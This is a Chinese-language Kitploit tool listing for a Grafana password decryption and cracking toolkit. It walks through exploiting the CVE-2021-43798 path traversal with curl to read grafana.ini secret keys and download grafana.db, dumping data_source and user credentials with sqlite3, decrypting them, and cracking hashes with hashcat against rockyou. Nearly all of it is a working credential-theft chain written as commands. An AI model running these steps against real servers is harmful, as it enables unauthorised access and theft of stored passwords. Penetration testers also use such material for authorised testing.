Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Grafana-Password-Decryptor — 用于从Grafana数据库中解密AES-256和破解PBKDF2密码的Python工具包,通常与(CVE-2021-43798)配合使用。 | Kitploit
工具/GitHubGitHub/strikoder-premium/grafana-password-decryptor
密码破解加密/解密工具漏洞分析漏洞利用后渗透利用密码学
GitHubstrikoder-premium/grafana-password-decryptor

Grafana-Password-Decryptor

用于从Grafana数据库中解密AES-256和破解PBKDF2密码的Python工具包,通常与(CVE-2021-43798)配合使用。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
18个月前尚未审核

Grafana 密码解密工具

用于从多种格式解密和破解 Grafana 密码的 Python 工具包。

代码作者:strikoder

该工具能做什么?

处理 两种类型 的 Grafana 密码存储:

  • 🔐 AES-256 Base64(data_source 表)→ 使用 AESDecrypt.py 直接解密
  • 🔨 PBKDF2_HMAC_SHA256(user 表)→ 使用 grafana2hashcat.py 转换为 Hashcat 格式

完美适用于 CVE-2021-43798 路径遍历漏洞的后利用阶段。

什么是 CVE-2021-43798?

一个存在于 Grafana 8.0.0-beta1 至 8.3.0 版本中的路径遍历漏洞,允许 未经身份验证的攻击者 从服务器读取任意文件,包括:

  • 配置文件(/etc/grafana/grafana.ini)
  • 数据库文件(/var/lib/grafana/grafana.db)
  • 系统文件(/etc/passwd)

漏洞利用示例:

root@kitploit:~
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
  --path-as-is --output grafana.db

该工具包通过 解密/破解 从数据库中提取的密码来完成攻击链。

包含的工具

1. AESDecrypt.py

解密 data_source 表中 AES-256 加密的密码。

基于: jas502n/Grafana-CVE-2021-43798 并做了关键改进:

  • ✅ 灵活的密钥:手动提取密钥(无需硬编码路径)
  • ✅ 批量处理:从文件中解密多个哈希
  • ✅ 完全可配置:所有参数均通过 CLI 标志设置

2. grafana2hashcat.py

将 user 表中的 Grafana PBKDF2_HMAC_SHA256 哈希转换为 Hashcat 兼容格式,用于密码破解。

致谢: iamaldi/grafana2hashcat

安装

root@kitploit:~
git clone https://github.com/strikoder/Grafana-Password-Decryptor.git
cd Grafana-Password-Decryptor
pip install cryptography #用于解密
chmod +x AESDecrypt.py grafana2hashcat.py

使用方法

工具 1:AESDecrypt.py(用于 AES-256 Base64 密码)

解密单个哈希

root@kitploit:~
python3 AESDecrypt.py -hash R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==

解密多个哈希

root@kitploit:~
python3 AESDecrypt.py -f hashes.txt

使用自定义密钥

从 Grafana 配置中提取密钥:

root@kitploit:~
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../etc/grafana/grafana.ini' --path-as-is | grep secret_key

python3 AESDecrypt.py -hash [HASH] -k YOUR_SECRET_KEY

工具 2:grafana2hashcat.py(用于 PBKDF2 哈希)

转换单个哈希文件

root@kitploit:~
python3 grafana2hashcat.py grafana_hashes.txt

输入格式(grafana_hashes.txt):

root@kitploit:~
hash1,salt1
hash2,salt2
hash3,salt3

输出(可直接用于 Hashcat):

root@kitploit:~
sha256:10000:base64_salt:base64_hash

保存到文件

root@kitploit:~
python3 grafana2hashcat.py grafana_hashes.txt -o hashcat_hashes.txt

使用 Hashcat 破解

root@kitploit:~
hashcat -m 10900 hashcat_hashes.txt wordlist.txt

完整的漏洞利用示例

场景 1:AES 加密密码(data_source 表)

root@kitploit:~
# 1. 从 grafana.ini 提取密钥(某些情况下可能为空,此时使用 Python 程序中的默认密钥)
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../etc/grafana/grafana.ini' \
  --path-as-is | grep secret_key

# 2. 下载数据库
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
  --path-as-is -o grafana.db

# 3. 从 data_source 表中提取 AES 加密的密码
sqlite3 grafana.db "SELECT name, password FROM data_source;"

# 4. 将密码保存到文件(每行一个)
# 示例:R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==

# 5. 使用提取的密钥解密
python3 AESDecrypt.py -f passwords.txt -k [SECRET_KEY]

场景 2:PBKDF2 哈希(user 表)

root@kitploit:~
# 0. 下载数据库
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
  --path-as-is -o grafana.db

# 1. 从 user 表中提取 PBKDF2 密码哈希
sqlite3 grafana.db "SELECT login, password, salt FROM user;"

# 2. 格式化哈希以供 grafana2hashcat 使用(hash,salt 格式)
# grafana_hashes.txt 中的示例格式:
# 3ad31dc57a7452c442f259cfff7aa61f2a6cea88ee634724ae146e221ae4e01c56c8bcbb3552310acd2fd746a396d2f99bf8,pepper

# 3. 转换为 Hashcat 格式
python3 grafana2hashcat.py grafana_hashes.txt -o hashcat_hashes.txt

# 4. 使用 Hashcat 破解(模式 10900 = PBKDF2-HMAC-SHA256)
hashcat -m 10900 hashcat_hashes.txt rockyou.txt

快速参考:该用哪个工具?

致谢

  • AESDecrypt.py:由 strikoder 编写,基于 jas502n 的 Go 实现
  • grafana2hashcat.py:由 iamaldi 创建

⭐ 觉得有用?给个星星吧!

代码作者:strikoder

下载工具
密码类型数据库表格式工具Hashcat 模式
AES-256 加密data_sourceBase64 字符串AESDecrypt.py无(直接解密)
PBKDF2_HMAC_SHA256user十六进制哈希 + 盐grafana2hashcat.py-m 10900